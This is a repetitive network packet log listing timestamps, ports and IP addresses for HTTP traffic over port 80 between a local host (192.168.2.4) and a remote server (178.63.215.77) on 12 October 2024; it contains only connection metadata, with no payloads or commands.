Oct 12, 2024 14:17:08.533490896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533504963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533521891 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533543110 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533554077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533565998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533585072 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533598900 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533617020 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533632040 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533648014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533662081 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533679962 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533693075 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533711910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.533724070 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.533756018 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.618707895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.618778944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.618805885 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.618830919 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.618832111 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.618864059 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.618871927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.618908882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.618915081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.618947029 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.618959904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.618993044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.618997097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619041920 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619045973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619077921 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619098902 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619108915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619124889 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619141102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619153023 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619170904 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619179964 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619203091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619209051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619234085 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619241953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619267941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619292021 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619298935 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619324923 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619334936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619344950 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619365931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619376898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619410992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619427919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619460106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619471073 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619492054 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619499922 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619524002 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619532108 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619555950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619564056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619586945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619595051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619618893 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619626045 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619651079 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619661093 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619683027 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619688034 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619714022 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619719982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619745016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619751930 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619777918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619797945 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619811058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619816065 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619843960 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619844913 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619882107 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619893074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619924068 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619930029 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619957924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.619959116 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619990110 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.619996071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620026112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620028973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620059967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620066881 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620091915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620099068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620122910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620131016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620157957 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620176077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620214939 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620223999 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620259047 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620263100 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620290041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620299101 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620321989 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620336056 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620352030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620362997 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620389938 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620400906 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620431900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620436907 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620470047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620479107 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620511055 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620522022 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620544910 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620549917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620575905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620583057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620663881 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620668888 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620702982 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620712042 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620745897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620765924 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620776892 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620781898 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620810032 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620814085 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620841026 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620847940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620872974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620887995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620908976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620920897 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620955944 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620959044 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.620982885 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.620990992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621023893 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621031046 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621062994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621078014 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621094942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621098995 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621125937 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621195078 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621174097 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621244907 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621279001 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621279955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621279955 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621311903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621320963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621320963 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621345997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621350050 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621377945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621398926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621408939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621433973 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621444941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621450901 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621476889 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621500969 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621510983 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621535063 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621542931 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621547937 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621576071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621601105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621608973 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621629953 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621639967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621645927 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621671915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621679068 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621704102 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621731043 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621737003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621762991 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621769905 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621792078 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621800900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621824980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621834040 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621866941 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621867895 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621900082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621921062 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621932030 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621958017 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621963978 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.621983051 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.621994972 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622010946 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622028112 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622056007 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622056961 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622076035 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622090101 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622097969 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622123003 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622143030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622153997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622173071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622185946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622206926 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622212887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622234106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622245073 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622261047 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622277021 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622301102 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622308016 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622323990 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622339964 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622364998 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622370958 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622380972 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622404099 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622430086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622435093 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622452974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622467041 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622488976 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622497082 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622517109 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622528076 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622549057 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622559071 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622581959 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622590065 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622602940 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622623920 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.622638941 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.622665882 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.707856894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.707922935 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.707927942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.707969904 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.707979918 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708012104 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708023071 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708053112 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708062887 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708095074 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708102942 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708136082 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708146095 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708179951 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708190918 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708213091 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708216906 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708247900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708254099 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708287954 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708297014 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708345890 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708358049 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708378077 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708385944 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708420992 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708426952 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708458900 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708470106 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708489895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708496094 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708522081 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708530903 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708561897 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708565950 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708610058 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708617926 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708657980 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708667994 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708699942 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708709002 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708730936 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708739042 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708770037 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708779097 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708811045 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708820105 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708852053 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708858967 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708890915 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708899975 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708930016 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708937883 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.708976030 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.708986044 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709018946 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709027052 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709059000 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709067106 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709100008 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709108114 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709130049 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709137917 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709161997 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709168911 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709193945 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709199905 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709224939 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709232092 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709261894 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709263086 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709297895 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709301949 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709336996 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709338903 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709371090 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709391117 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709414005 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709420919 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709454060 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709465027 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709481955 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709522009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709522009 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709530115 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709562063 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709569931 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709593058 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709600925 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709624052 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709655046 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709671974 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709671974 CEST	49730	80	192.168.2.4	178.63.215.77
Oct 12, 2024 14:17:08.709719896 CEST	80	49730	178.63.215.77	192.168.2.4
Oct 12, 2024 14:17:08.709719896 CEST	49730	80	192.168.2.4	178.63.215.77
